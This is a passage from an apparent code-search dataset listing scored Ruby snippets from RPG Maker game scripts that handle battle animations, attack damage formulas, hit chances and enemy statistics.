animation2_id\n return $data_enemies[@enemy_id].animation2_id\n end", "title": "" }, { "docid": "4591e9983403dfaae665f79312115b36", "score": "0.67798066", "text": "def atk_animation_id2\n if two_swords_style\n return weapons[1] == nil ? 0 : weapons[1].animation_id\n else\n return 0\n end\n end", "title": "" }, { "docid": "546691446c858334257b8b3a772cdd9e", "score": "0.6686009", "text": "def atk_animation_id2\n return 0\n end", "title": "" }, { "docid": "eedf53dd7488cc792fdf417d15378591", "score": "0.662275", "text": "def atk_animation_id1\n return 0\n end", "title": "" }, { "docid": "420c435f2c9ee6ec10f82c605b51ff13", "score": "0.6589601", "text": "def animation\n if @item.is_a?(RPG::Armor)\n return $data_skills[@tool_invoke].animation_id if @tool_invoke > 0\n return 0\n end\n return @item.animation_id\n end", "title": "" }, { "docid": "e72b2086963379182c3025d8ce605a90", "score": "0.6540799", "text": "def action_effect(object)\n # if damage dealt\n if @battler.hpdamage > 0 || @battler.spdamage > 0\n # set attacked counter\n self.attacked = $BlizzABS.pixel\n end\n # set attacked enemy animation ID if ANIMATIONS is turned on\n @animation_id = object.animation2_id if BlizzABS::Config::ANIMATIONS\n end", "title": "" }, { "docid": "6827f1ab33115083e50ff9a78f5cefb2", "score": "0.6538401", "text": "def animation2_id\n weapon = $data_weapons[@weapon_id]\n return weapon != nil ? weapon.animation2_id : Unarmed_Animation\n end", "title": "" }, { "docid": "4cac815a662b00b547a99b90d1aa0d00", "score": "0.6514705", "text": "def animation1_id\n weapon = $data_weapons[@weapon_id]\n return weapon != nil ? weapon.animation1_id : 0\n end", "title": "" }, { "docid": "4cac815a662b00b547a99b90d1aa0d00", "score": "0.6514705", "text": "def animation1_id\n weapon = $data_weapons[@weapon_id]\n return weapon != nil ? weapon.animation1_id : 0\n end", "title": "" }, { "docid": "b4e08b4ad120878e4c4c4b6110e67019", "score": "0.6438084", "text": "def death_animation_id\n return GTBS.get_death_anim_actor(@actor_id)\n end", "title": "" }, { "docid": "7e4cd8d93a993e1140caae5aa1842d68", "score": "0.63255686", "text": "def animation2_id\n weapon = $data_weapons[@weapon_id]\n return weapon != nil ? weapon.animation2_id : 0\n end", "title": "" }, { "docid": "7e4cd8d93a993e1140caae5aa1842d68", "score": "0.63255686", "text": "def animation2_id\n weapon = $data_weapons[@weapon_id]\n return weapon != nil ? weapon.animation2_id : 0\n end", "title": "" }, { "docid": "4c3fee9a4273f7c97b3859964a24f8a8", "score": "0.6253782", "text": "def animation1_id(w=0)\n weapon = $data_weapons[@weapon_id[w]]\n return weapon != nil ? weapon.animation1_id : 0\n end", "title": "" }, { "docid": "dac4e0429082f3d4b15cfca8742f8794", "score": "0.62323743", "text": "def attack_effect(attacker)\n default_attack_effect(attacker)\n self.animation_id = attacker.animation2_id\n unless self.damage == \"Miss\"\n attacker.sp += Aps.gain_up(self.damage)\n end\n end", "title": "" }, { "docid": "0eaa8c66e381253444d87a6f23d21bf8", "score": "0.6219843", "text": "def animation2_id(w=0)\n weapon = $data_weapons[@weapon_id[w]]\n return weapon != nil ? weapon.animation2_id : 4\n end", "title": "" }, { "docid": "a799397c286df0b6e81b2c193d71c914", "score": "0.5875483", "text": "def attack\r\n\t\tattack_rating = @effective_attack + rand(1..20)\r\n\t\tdamage_rating = rand(1..@effective_damage)\r\n\t\tstatus = nil\r\n\t\tif nil != @current_enemy\r\n\t\t\tdamage = @current_enemy.defend(attack_rating, damage_rating, @attack_type, status)\r\n\t\t\tif damage.is_a?(Integer)\r\n\t\t\t\treturn @user_id.mention() + \" attacked #{@current_enemy.name} and dealt #{damage} damage!\"\r\n\t\t\telsif damage.is_a?(String)\r\n\t\t\t\treturn damage\r\n\t\t\tend\r\n\t\telse\r\n\t\t\treturn @user_id.mention() + \" attacked the air!\"\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "6b6a7fd88f5bc4c11cbf544c43198944", "score": "0.5790898", "text": "def state_animation_id\r\n # If no states are added\r\n if @states.size == 0\r\n return 0\r\n end\r\n # Return state animation ID with maximum rating\r\n return $data_states[@states[0]].animation_id\r\n end", "title": "" }, { "docid": "774db6f0ddaa95a56aa5a8031d240e0e", "score": "0.5778369", "text": "def state_animation_id\n # If no states are added\n if @states.size == 0\n return 0\n end\n # Return state animation ID with maximum rating\n return $data_states[@states[0]].animation_id\n end", "title": "" }, { "docid": "774db6f0ddaa95a56aa5a8031d240e0e", "score": "0.5778369", "text": "def state_animation_id\n # If no states are added\n if @states.size == 0\n return 0\n end\n # Return state animation ID with maximum rating\n return $data_states[@states[0]].animation_id\n end", "title": "" }, { "docid": "774db6f0ddaa95a56aa5a8031d240e0e", "score": "0.5778369", "text": "def state_animation_id\n # If no states are added\n if @states.size == 0\n return 0\n end\n # Return state animation ID with maximum rating\n return $data_states[@states[0]].animation_id\n end", "title": "" }, { "docid": "2587fc41d5a15afc7fbb0aba549026b0", "score": "0.5769819", "text": "def id_key\n 'animation_2_instructions'\n end", "title": "" }, { "docid": "ec0f83b8f727e575176487600df883d1", "score": "0.57434034", "text": "def sin_attack_bonus\n 1.0\n end", "title": "" }, { "docid": "589d4fa70936bd38de5c98c827f66e05", "score": "0.57409644", "text": "def get_action_anime_data(spell, battler)\n data = GTBS.get_anime_animation_data(spell.id).clone\n \n #get primary animations\n anim = []\n id = spell.animation_id\n if id == -1\n anim << battler.atk_animation_id1\n anim << battler.atk_animation_id2\n else\n anim << id\n end\n # Replaces regular animation data if special is assigned. \n #anim = anim_dat if anim_dat != nil \n return data, anim\n end", "title": "" }, { "docid": "de52444b3f1837687930c699881df377", "score": "0.5717222", "text": "def base_atk\n return $data_enemies[@enemy_id].atk\n end", "title": "" }, { "docid": "de52444b3f1837687930c699881df377", "score": "0.5717222", "text": "def base_atk\n return $data_enemies[@enemy_id].atk\n end", "title": "" }, { "docid": "f370332d85ebdd469957889e02097132", "score": "0.57113236", "text": "def display_attack_animation(targets)\n if @active_battler.is_a?(Game_Enemy)\n Sound.play_enemy_attack\n wait(15, true)\n else\n aid1 = @active_battler.atk_animation_id\n aid2 = @active_battler.atk_animation_id2\n display_normal_animation(targets, aid1, false)\n display_normal_animation(targets, aid2, true)\n end\n wait_for_animation\n end", "title": "" }, { "docid": "173fe1cd35a1c2822ac986d26fb257c3", "score": "0.5664446", "text": "def use_attack\n # sets everything up for attack sprites\n setup_sprites('_atk')\n # set frame penalty\n set_action(self.is_a?(Map_Actor) ? 0.8 : 1.6)\n # set animation ID if ANIMATIONS is turned on\n @animation_id = battler.animation1_id if BlizzABS::Config::ANIMATIONS\n # execute attack process and return result\n return (BlizzABS.attack_process(self))\n end", "title": "" }, { "docid": "173fe1cd35a1c2822ac986d26fb257c3", "score": "0.5664446", "text": "def use_attack\n # sets everything up for attack sprites\n setup_sprites('_atk')\n # set frame penalty\n set_action(self.is_a?(Map_Actor) ? 0.8 : 1.6)\n # set animation ID if ANIMATIONS is turned on\n @animation_id = battler.animation1_id if BlizzABS::Config::ANIMATIONS\n # execute attack process and return result\n return (BlizzABS.attack_process(self))\n end", "title": "" }, { "docid": "b20e1205a86116e79e4176abafa61abb", "score": "0.5654388", "text": "def attack_fencing_parameter\n favorite_weapon_bonus = extract_bonus_from_stats_modifier_dsl_definition(\"Atak\", collection_of_stats_modifiers(\"weapon_name\"))\n favorite_weapon_group_bonus = extract_bonus_from_stats_modifier_dsl_definition(\"Atak\", collection_of_stats_modifiers(\"weapon_group_name\"))\n\n favorite_weapon_bonus.to_i + favorite_weapon_group_bonus.to_i + character.statistics.raw_fencing_when_attacking + fencing_master_modifier\n end", "title": "" }, { "docid": "c5e1b8952f30dbb16de00b05c32c6ac1", "score": "0.5638456", "text": "def sin_attack_bonus; 1.0; end", "title": "" }, { "docid": "5beb868e407e66018771ab3413ec8d27", "score": "0.5625854", "text": "def base_atk(w=0)\n return $data_enemies[@enemy_id].atk\n end", "title": "" }, { "docid": "b45ead9dc0d930fd2c13948b904e7dff", "score": "0.5602244", "text": "def hit\n malus_hit = has2w ? CPanel::TWHIT : 0\n party_bonus(ex_attr_hit, :hit) - malus_hit\n end", "title": "" }, { "docid": "4e0748b2ae20b2336bc5c18c89b92f45", "score": "0.55908847", "text": "def anim_guard_id\n states.each do |state|\n return state.anim_guard if state && state.anim_guard > 0\n end\n return 0\n end", "title": "" }, { "docid": "4e0748b2ae20b2336bc5c18c89b92f45", "score": "0.55908847", "text": "def anim_guard_id\n states.each do |state|\n return state.anim_guard if state && state.anim_guard > 0\n end\n return 0\n end", "title": "" }, { "docid": "d344e8c42e1766f8a967d896515f1b46", "score": "0.55702764", "text": "def frame_hash\n GTBS::EXTRA_ENEMY_FRAMES[self.enemy_id]\n end", "title": "" }, { "docid": "a6103fe5fa4a48ef46dbb313c357117b", "score": "0.55334616", "text": "def setup_charge_attack_sprites\n # spriteset name add-on\n @current_sprite = BlizzABS::SPRAttack + BlizzABS::SPRCharge +\n self.battler.weapon_id.to_s\n # return frame animation data\n return BlizzABS::Weapons.charge_frames(self.battler.weapon_id)\n end", "title": "" }, { "docid": "920d7e8fb878efd7e3957391c7f84f26", "score": "0.5517687", "text": "def sin_kill_bonus \n return ENEMY_KILL_MALUS * -1\n end", "title": "" }, { "docid": "13d5027db170602c5d2b977737f12105", "score": "0.5513287", "text": "def attack_enemy\n sort_possible_attacks.first\n end", "title": "" }, { "docid": "8424673211d4cd57a56eaf5c33fedc16", "score": "0.5511929", "text": "def setup_charge_attack_sprites\n return BlizzABS::Enemies.charge_frames(self.battler_id)\n end", "title": "" }, { "docid": "256e4a77e8434a7b7040398d0f49efff", "score": "0.5507685", "text": "def identifyAnimacy\n \tif(@semanticClass != \"PERSON\")\n \t @animacy = 'inanimate'\n \telse\n \t @animacy = 'animate' \n \tend \n end", "title": "" }, { "docid": "b4e2fe2f1d932d11d5418845d7c9d0c1", "score": "0.54974395", "text": "def spirit_attack\n attack_bonus = calc_spirit_attack\n attack_bonus > 0 ? (attack_bonus * spi).to_i : 0\n end", "title": "" }, { "docid": "12b2319dd98f5d9955551a880721b34f", "score": "0.5473542", "text": "def attack_attribute\n return nil if @attack_attr.nil?\n $data_system.weapon_attributes.select { |attr| attr.id == attack_attr }.first\n end", "title": "" }, { "docid": "d825fe786c4a14e7b4a82a4c20d994f0", "score": "0.5447142", "text": "def atk\n n = battle_effect.atk\n return (n * atk_modifier).to_i if n\n return (atk_basis * atk_modifier).floor\n end", "title": "" }, { "docid": "06f7abdee008204b9c8a13292354e129", "score": "0.5446575", "text": "def escaped\n if $game_party.monsters_escaped[enemy_id] == nil\n $game_party.monsters_escaped[enemy_id] = 0 \n end\n return $game_party.monsters_escaped[enemy_id]\n end", "title": "" }, { "docid": "06f7abdee008204b9c8a13292354e129", "score": "0.5446575", "text": "def escaped\n if $game_party.monsters_escaped[enemy_id] == nil\n $game_party.monsters_escaped[enemy_id] = 0 \n end\n return $game_party.monsters_escaped[enemy_id]\n end", "title": "" }, { "docid": "9670feb1b769d0f07939e00a8f01ad90", "score": "0.5432886", "text": "def attack(player) \n player.get_hit\n end", "title": "" }, { "docid": "9437aef21e150e5726185d2600a87511", "score": "0.53922427", "text": "def attack_happens(opponent) end", "title": "" }, { "docid": "cea8a4bd0e28e295aea10589cc3487d1", "score": "0.5384022", "text": "def sin_kill_bonus\n ENEMY_KILL_MALUS * -1\n end", "title": "" }, { "docid": "d6b648fccbe7902a9383f7e022883daf", "score": "0.53840125", "text": "def setup_attack_sprites\n # set normal weapon sprite\n @weapon_sprite = BlizzABS::SPRWeapon\n # return frame animation data\n return BlizzABS::Enemies.frames(self.battler_id)\n end", "title": "" }, { "docid": "52279f96af9dfa790164d6dfb511a31c", "score": "0.5358972", "text": "def enemies_slain(enemy_id)\r\n @enemy_slain[enemy_id].to_i\r\n end", "title": "" }, { "docid": "9a49e29448b8cf371a750f05e6c33fcb", "score": "0.53431225", "text": "def attack_effect(attacker)\n h87sinergia_eff(attacker)\n return if $game_party.sinergy_active?\n $game_party.add_sinergy(sin_evade_bonus) if @evaded\n $game_party.add_sinergy(attacker.sin_kill_bonus) if dead?\n end", "title": "" }, { "docid": "e0c644b565d8e2b06e0d4b8ea4e03601", "score": "0.5311213", "text": "def damage\n rand(@attack_range)\n end", "title": "" }, { "docid": "e0c644b565d8e2b06e0d4b8ea4e03601", "score": "0.5311213", "text": "def damage\n rand(@attack_range)\n end", "title": "" }, { "docid": "037846d497d7a306130f0772dea5d290", "score": "0.53078103", "text": "def attack_effect(attacker)\n h87sinergia_eff(attacker)\n return if $game_party.sinergy_active?\n $game_party.sinergic_state += sin_evade_bonus if @evaded\n $game_party.sinergic_state += attacker.sin_kill_bonus if dead?\n end", "title": "" }, { "docid": "eebcff11acd7d37f9c9e3a75a18ccc4f", "score": "0.52974224", "text": "def random_target_enemy_hp0\r\n return random_target_enemy(true)\r\n end", "title": "" }, { "docid": "e849a8626239ed0cd22ae6fd8e91683b", "score": "0.52926403", "text": "def dice_make_attack_damage_value( attacker )\n dnd = IEX::DND_DAMAGE\n damage = 0\n damage += (attacker.atk - dnd::STAT_SUBTRACT) / dnd::STAT_DIVISION\n def_amt = (self.def - dnd::STAT_SUBTRACT) / dnd::STAT_DIVISION\n critical_mult = dnd::CRITICAL_MULT\n if attacker.actor?\n for eq in attacker.equips\n next if eq == nil\n critical_mult = eq.iex_dnd_critical_mod if eq.iex_dnd_critical_mod != nil\n dis = eq.iex_dnd_dice_values\n damage += eq.atk\n next if dis.empty?\n for com in dis\n next if com == nil\n damage += calculate_dice_value(com[0], com[1]) \n end \n end \n else\n dis = attacker.enemy.iex_dnd_dice_values\n critical_mult = attacker.enemy.iex_dnd_critical_mod if attacker.enemy.iex_dnd_critical_mod != nil\n unless dis.empty?\n for com in dis\n next if com == nil\n damage += calculate_dice_value(com[0], com[1]) \n end \n end \n end\n damage -= def_amt\n damage = 0 if damage < 0 # if negative, make 0 \n if damage == 0 # if damage is 0,\n damage = rand(2) # half of the time, 1 dmg\n elsif damage > 0 # a positive number?\n @critical = (rand(100) < attacker.cri) # critical hit?\n @critical = false if prevent_critical # criticals prevented?\n damage *= critical_mult if @critical # critical adjustment\n damage = damage.to_i \n end\n damage *= elements_max_rate(attacker.element_set) # elemental adjustment\n damage /= 100\n damage = apply_variance(damage, IEX::DND_DAMAGE::STAT_VARIANCE) # variance\n damage = apply_guard(damage) # guard adjustment\n @hp_damage = damage # damage HP\n end", "title": "" }, { "docid": "cfd771a3c276860b8c0602fc85feed90", "score": "0.5290962", "text": "def dmg\n n = set_enemy_parameter('dmg').nil? ? super : set_enemy_parameter('dmg').nil?\n return n.to_i\n end", "title": "" }, { "docid": "fcf92ecc24bd87d759bc3f79d71503fd", "score": "0.5290448", "text": "def enemy_bestiary_now\n new_enemy_info = []\n for info in @enemy_info\n enemy = $data_enemies[info[0]]\n next if enemy.name == '' or Never_Show.include?(enemy.id) or info[1] == 0\n new_enemy_info << enemy.id\n end\n return new_enemy_info.size\n end", "title": "" }, { "docid": "28f9b93231cb04300dbc2d9d03924d41", "score": "0.52871084", "text": "def attack_effect(attacker,w=0)\n # Clear critical flag\n self.critical = false\n # First hit detection\n hit_result = (rand(60) < (attacker.hit(w)*3 -self.eva/2))\n # If hit occurs\n total_damage = 0\n if hit_result == true\n for i in 0..attacker.hit_num\n # Calculate basic damage\n #atk = [attacker.atk - self.pdef / 2, 0].max\n #self.damage = atk * (20 + attacker.str) / 20\n if attacker.is_a?(Game_Enemy)\n attack=(attacker.atk(w)*4+attacker.str)-self.dex\n self.damage=(attacker.level*attacker.level*attack)/512\n else\n #STEP 0.Calculate weapon level\n weapon_type = $data_weapons[attacker.weapon_id(-1)[w]].element_set\n t_level = attacker.w_level[weapon_type[0]]\n t_level *= (2+t_level)/3\n #STEP 1.\n vigor2=[(attacker.str*2),255].min\n attack=[(attacker.atk(w)+vigor2)-(self.dex/2),1].max\n gaunt=offer=false\n attacker.armor4_id(-1).each{|id|\n next if id==0\n gaunt = true if $data_armors[id].guard_element_set.include?(RPG::SPEC_ACCESSORIES[0])\n offer = true if $data_armors[id].guard_element_set.include?(RPG::SPEC_ACCESSORIES[1])\n }\n attack+=attacker.atk(w)*3/4 if gaunt #Gauntlet\n self.damage=attacker.atk(w)+((t_level*t_level*attack)/256)*3/2\n self.damage/=2 if offer #Offering\n wep_check=attacker.weapon_id(-1)\n wep_num = 0\n for i in attacker.weapon_id(-1)\n wep_num+=1 if wep_check[i]!=0\n end\n self.damage*=3/4 if (wep_num<=1) and attacker.armor4_id(-1).include?(3) #GenjiGlove\n #STEP 2. Atlas Armlet/Hero Ring\n extra = 0\n extra += self.damage/4 if attacker.armor4_id(0) != 0 && ($data_armors[attacker.armor4_id(0)].guard_element_set.include?(RPG::SPEC_ACCESSORIES[2]))\n extra += self.damage/4 if attacker.armor4_id(1) != 0 && ($data_armors[attacker.armor4_id(1)].guard_element_set.include?(RPG::SPEC_ACCESSORIES[2]))\n self.damage += extra\n #ASDTsutarja2525\n end\n \n self.damage *= (6.0 - (attacker.level/attacker.maxlevel*1.0))/6\n \n self.damage*= [2.0/(attacker.hit_num+1),1].min\n a = (30*(attacker.maxlevel-attacker.level)/attacker.maxlevel)\n self.damage = (self.damage*((70+a)/100.0)).floor#(self.damage*attacker.level / 64.0).floor #if skill.atk_f > 0\n \n self.damage = Integer(self.damage)\n # Element correction\n self.damage *= elements_correct(attacker.element_set)\n self.damage /= 100\n # If damage value is strictly positive\n if self.damage > 0\n # Critical correction\n if rand(100) < 4 * (attacker.dex / self.dex)+(attacker.level - self.level)\n self.damage *= 2\n self.critical = true\n end\n # Guard correction\n if self.guarding?\n self.damage /= 2\n end\n # Positions corrections\n if self.is_a?(Game_Actor)\n self.damage *= Wep::Positions_types[self.position][:defender_physic_damage_mod]\n end\n \n # Positions corrections\n if attacker.is_a?(Game_Actor)\n self.damage *= Wep::Positions_types[self.position][:attacker_physic_damage_mod]\n end\n \n #STEP 5. Damage Mult#1\n mult=0\n mult+=2 if attacker.states.include?(RPG::SPEC_STATES[4])\n #mult+=1 if user.states.include?(20)\n n = rand(32)\n mult+=2 if n==1\n self.damage *= (2+mult)/2\n \n end\n self.damage /= [attacker.hit_num/3,1].max\n #STEP 6. Damage modification\n # Dispersion\n if self.damage.abs > 0\n n = rand(31) + 224\n self.damage = (self.damage*n / 256) + 1\n self.damage = (self.damage*(255-self.pdef)/256)+1\n #14: Protect\n self.damage = (self.damage*170/256)+1 if self.states.include?(RPG::SPEC_STATES[0])\n end\n #Step 7.\n \n #self.damage *= 3/2 if self.states.include?(xx) #Attacked from behind <-it needs pincers and those stuff to work!!\n #STEP 8. Petrify damage\n self.damage = 0 if self.states.include?(RPG::SPEC_STATES[5]) #Petrify status\n # Second hit detection\n # eva = 8 * self.agi / attacker.dex + self.eva\n # hit = attacker.hit*1.5 - eva\n # hit = self.cant_evade? ? 100 : hit\n # hit_result = (rand(100) < hit)\n blockValue = [[(255 - self.eva*2)+1,1].max,255].min\n r = rand(99)\n hit_result = (attacker.hit(w) * blockValue / 256 ) > r\n \n #TODO: Attack \"from behind\" support\n hit_result = true if self.restriction == 4\n hit_result = true if attacker.hit(w)==255\n \n if self.states.include?(RPG::SPEC_STATES[7])\n hit_result = false \n remove_states_shock\n end\n \n hit_result = false if self.states.include?(RPG::SPEC_STATES[6]) #Clear\n hit_result = true if attacker.element_set.include?(RPG::SKILL_TAGS[1]) #Unblockable\n hit_result = false if attacker.element_set.include?(RPG::SKILL_TAGS[0]) and self.state_ranks[1]==6 #Deathblow\n total_damage +=self.damage\n attacker.w_raise_exp(0) if hit_result\n end\n end\n self.damage = total_damage\n # If hit occurs\n if hit_result == true\n # State Removed by Shock\n remove_states_shock\n # Substract damage from HP\n self.damage = self.damage.floor\n self.damage = [self.damage, 9999].min\n self.hp -= self.damage\n # State change\n @state_changed = false\n states_plus(attacker.plus_state_set)\n states_minus(attacker.minus_state_set)\n # When missing\n else\n # Set damage to \"Miss\"\n self.damage = \"Miss\"\n # Clear critical flag\n self.critical = false\n end\n # End Method\n return true\n end", "title": "" }, { "docid": "7bf4326254b32dca93c5b76a153b601c", "score": "0.5281451", "text": "def start_anim\n case @type\n when 0\n @animation_id = GTBS::MISS_ANIMATION #Animation ID of MISS!.. for spells that miss\n when 1\n @animation_id = GTBS::SUMMON_ANIMATION #Animation ID of SPAWN.. for summons (RAISE)\n else\n @animation_id = @anim_id\n end\n @sprite.update #unless @sprite.nil?\n @played = true\n end", "title": "" }, { "docid": "93ac13f5d0ddd8b65d20dcc99f8a08f2", "score": "0.52807903", "text": "def enhanced_weapon_id(wep_id = weapons[0].id)\n return wep_id\n end", "title": "" }, { "docid": "4e9f3cb7dac1c6e11128247733937533", "score": "0.52779126", "text": "def random_target_enemy_hp0\n return random_target_enemy(true)\n end", "title": "" }, { "docid": "4e9f3cb7dac1c6e11128247733937533", "score": "0.52779126", "text": "def random_target_enemy_hp0\n return random_target_enemy(true)\n end", "title": "" }, { "docid": "dc34954f9915f4c1c652188a43859a3e", "score": "0.5260777", "text": "def attack_penalty\n return 0\n end", "title": "" }, { "docid": "9b1748561da374920024c9194d98398f", "score": "0.52551055", "text": "def atk_offset\n return ((@current_sprite[0, 4] == '_atk' && @direction == 2 &&\n @s_count < 12) ? BlizzABS::Config::ENEMY_SPRITE_Y_OFFSET : 0)\n end", "title": "" }, { "docid": "9b1748561da374920024c9194d98398f", "score": "0.52551055", "text": "def atk_offset\n return ((@current_sprite[0, 4] == '_atk' && @direction == 2 &&\n @s_count < 12) ? BlizzABS::Config::ENEMY_SPRITE_Y_OFFSET : 0)\n end", "title": "" }, { "docid": "821a3d2173e892fffba68ac970dba24b", "score": "0.5248845", "text": "def animation(id)\n #print \"Affichage de l'animation #{message[1]}\"\n end", "title": "" }, { "docid": "0cf07384adb5f398244e4ba55a2bb032", "score": "0.52461225", "text": "def phase_main_anim\n\n # Face at target of attack - CUT\n # if @active_battler.target != nil && @active_battler.target.is_enemy?\n # @active_battler.ev.direction = 10 - @active_battler.target.ev.direction\n # #@active_battler.ev.turn_toward_event(@active_battler.target.ev.id) \n # end\n\n @attack_results.each{ |result|\n\n # Target face attacker\n #result.target.ev.turn_toward_event(@active_battler.ev.id)\n # if @active_battler.is_enemy?\n # result.target.ev.direction = 10 - @active_battler.ev.direction\n # end\n\n if @attack_round.anim\n if @attack_round.anim.include?(\"spark\")\n # Show the hit animation\n x = result.target.ev.screen_x\n y = result.target.ev.screen_y - 32\n add_spark(@attack_round.anim.split(\"=>\")[1],x,y)\n end\n end\n\n }\n\n \t# Onto the next\n \t@phase = :main_transform\n\n end", "title": "" }, { "docid": "a51a32900f1a8a2aa3ae451ce7f5210a", "score": "0.5242683", "text": "def get_enemy_of(player_id)\n if !(player_white_id == player_id)\n return player_white_id\n else\n return player_black_id\n end\n end", "title": "" }, { "docid": "97f532a8676e373dda6bac3811b2c061", "score": "0.5241414", "text": "def set_attack_action(battler)\n battler.animation_1 = battler.animation1_id\n battler.animation_2 = battler.animation2_id\n for target in battler.target_battlers\n target.attack_effect(battler)\n end\n battler.action_done = true\n end", "title": "" }, { "docid": "5531226d548bfdef0f38e3c9ca865041", "score": "0.52404785", "text": "def attack_effect(attacker)\r\n # Clear critical flag\r\n self.critical = false\r\n # First hit detection\r\n hit_result = (rand(100) < attacker.hit)\r\n # If hit occurs\r\n if hit_result == true\r\n # Calculate basic damage\r\n atk = [attacker.atk - self.pdef / 2, 0].max\r\n self.damage = atk * (20 + attacker.str) / 20\r\n # Element correction\r\n self.damage *= elements_correct(attacker.element_set)\r\n self.damage /= 100\r\n # If damage value is strictly positive\r\n if self.damage > 0\r\n # Critical correction\r\n if rand(100) < 4 * attacker.dex / self.agi\r\n self.damage *= 2\r\n self.critical = true\r\n end\r\n # Guard correction\r\n if self.guarding?\r\n self.damage /= 2\r\n end\r\n end\r\n # Dispersion\r\n if self.damage.abs > 0\r\n amp = [self.damage.abs * 15 / 100, 1].max\r\n self.damage += rand(amp+1) + rand(amp+1) - amp\r\n end\r\n # Second hit detection\r\n eva = 8 * self.agi / attacker.dex + self.eva\r\n hit = self.damage < 0 ? 100 : 100 - eva\r\n hit = self.cant_evade? ? 100 : hit\r\n hit_result = (rand(100) < hit)\r\n end\r\n # If hit occurs\r\n if hit_result == true\r\n # State Removed by Shock\r\n remove_states_shock\r\n # Substract damage from HP\r\n self.hp -= self.damage\r\n # State change\r\n @state_changed = false\r\n states_plus(attacker.plus_state_set)\r\n states_minus(attacker.minus_state_set)\r\n # When missing\r\n else\r\n # Set damage to \"Miss\"\r\n self.damage = \"Miss\"\r\n # Clear critical flag\r\n self.critical = false\r\n end\r\n # End Method\r\n return true\r\n end", "title": "" }, { "docid": "4fb78c0ac8027d18e7a95bd3ae04302e", "score": "0.52330947", "text": "def determine_target_damage(skill)\n if skill.for_all?\n damage = 0\n $game_party.actors.each {|act|\n act.store_state\n act.skill_effect(self, skill)\n if (Engine == :XP && act.damage.is_a?(String)) ||\n (Engine == :VX && act.hp_damage.is_?(String))\n damage += 0\n else\n damage += Engine == :XP ? act.damage : act.hp_damage\n end\n act.restore_state\n }\n return damage\n else\n damages = []\n $game_party.actors.each {|act|\n act.store_state\n act.skill_effect(self, skill)\n damage = Engine == :XP ? act.damage : act.hp_damage\n act.restore_state\n damages.push(damage.is_a?(String) ? 0 : damage)\n }\n return damages\n end\n end", "title": "" }, { "docid": "778191c66f2da5040d85ba72d21db53b", "score": "0.5232", "text": "def attack_penalty\n # get weapon penalty\n penalty = BlizzABS::Enemies.penalty(@battler.id)\n # limit is sum of all animation frames if using action sprites\n limit = (action_sprites? ? BlizzABS::Enemies.frames(@battler.id).sum : 0)\n # limit penalty\n return (penalty < limit ? limit : penalty)\n end", "title": "" }, { "docid": "cb51edac989a570528c0323bb9a479c2", "score": "0.52310216", "text": "def mdmg; (magic_damage_rate * 100).to_i - 100; end", "title": "" }, { "docid": "3c351c7bdc36efb256c3d430048e6b42", "score": "0.52294064", "text": "def attack_effect(attacker)\n # Clear critical flag\n self.critical = false\n # First hit detection\n hit_result = (rand(100) < attacker.hit)\n # If hit occurs\n if hit_result == true\n # Calculate basic damage\n atk = [attacker.atk - self.pdef / 2, 0].max\n self.damage = atk * (20 + attacker.str) / 20\n # Element correction\n self.damage *= elements_correct(attacker.element_set)\n self.damage /= 100\n # If damage value is strictly positive\n if self.damage > 0\n # Critical correction\n if rand(100) < 4 * attacker.dex / self.agi\n self.damage *= 2\n self.critical = true\n end\n # Guard correction\n if self.guarding?\n self.damage /= 2\n end\n end\n # Dispersion\n if self.damage.abs > 0\n amp = [self.damage.abs * 15 / 100, 1].max\n self.damage += rand(amp+1) + rand(amp+1) - amp\n end\n # Second hit detection\n eva = 8 * self.agi / attacker.dex + self.eva\n hit = self.damage < 0 ? 100 : 100 - eva\n hit = self.cant_evade? ? 100 : hit\n hit_result = (rand(100) < hit)\n end\n # If hit occurs\n if hit_result == true\n # State Removed by Shock\n remove_states_shock\n # Substract damage from HP\n self.hp -= self.damage\n # State change\n @state_changed = false\n states_plus(attacker.plus_state_set)\n states_minus(attacker.minus_state_set)\n # When missing\n else\n # Set damage to \"Miss\"\n self.damage = \"Miss\"\n # Clear critical flag\n self.critical = false\n end\n # End Method\n return true\n end", "title": "" }, { "docid": "3c351c7bdc36efb256c3d430048e6b42", "score": "0.52294064", "text": "def attack_effect(attacker)\n # Clear critical flag\n self.critical = false\n # First hit detection\n hit_result = (rand(100) < attacker.hit)\n # If hit occurs\n if hit_result == true\n # Calculate basic damage\n atk = [attacker.atk - self.pdef / 2, 0].max\n self.damage = atk * (20 + attacker.str) / 20\n # Element correction\n self.damage *= elements_correct(attacker.element_set)\n self.damage /= 100\n # If damage value is strictly positive\n if self.damage > 0\n # Critical correction\n if rand(100) < 4 * attacker.dex / self.agi\n self.damage *= 2\n self.critical = true\n end\n # Guard correction\n if self.guarding?\n self.damage /= 2\n end\n end\n # Dispersion\n if self.damage.abs > 0\n amp = [self.damage.abs * 15 / 100, 1].max\n self.damage += rand(amp+1) + rand(amp+1) - amp\n end\n # Second hit detection\n eva = 8 * self.agi / attacker.dex + self.eva\n hit = self.damage < 0 ? 100 : 100 - eva\n hit = self.cant_evade? ? 100 : hit\n hit_result = (rand(100) < hit)\n end\n # If hit occurs\n if hit_result == true\n # State Removed by Shock\n remove_states_shock\n # Substract damage from HP\n self.hp -= self.damage\n # State change\n @state_changed = false\n states_plus(attacker.plus_state_set)\n states_minus(attacker.minus_state_set)\n # When missing\n else\n # Set damage to \"Miss\"\n self.damage = \"Miss\"\n # Clear critical flag\n self.critical = false\n end\n # End Method\n return true\n end", "title": "" }, { "docid": "5ecbb61e1a2d9e798852640e3ff5754c", "score": "0.5213001", "text": "def state_anim\n states.each do |state|\n return state.state_anim if state.state_anim > 0\n end\n return 0\n end", "title": "" }, { "docid": "5ecbb61e1a2d9e798852640e3ff5754c", "score": "0.5213001", "text": "def state_anim\n states.each do |state|\n return state.state_anim if state.state_anim > 0\n end\n return 0\n end", "title": "" }, { "docid": "dc6ecb60b50dc9b632f6af416bcd5fc7", "score": "0.5205042", "text": "def attack target\n target.health -= 7 + @strength\n @action_1_alpha = 255\n @action_2_alpha = 0\n @action_3_alpha = 0\n end", "title": "" }, { "docid": "cb46919724b3c5b394c9cc4109b4d1b8", "score": "0.52020484", "text": "def base_atk\n return get_modifiers_weapon(:atk) if @weapon != nil\n return base_str * 2\n end", "title": "" }, { "docid": "3d038e79d924d38e8a2ba942d8261a50", "score": "0.51967925", "text": "def attack target\n target.health -= 15 + @strength\n @action_1_alpha = 255\n @action_2_alpha = 0\n @action_3_alpha = 0\n end", "title": "" }, { "docid": "f1810b43f85525c41ddb394b74c9298d", "score": "0.51948017", "text": "def atk;party_bonus(ex_attr_atk, :atk) + party_gift(:atk) + 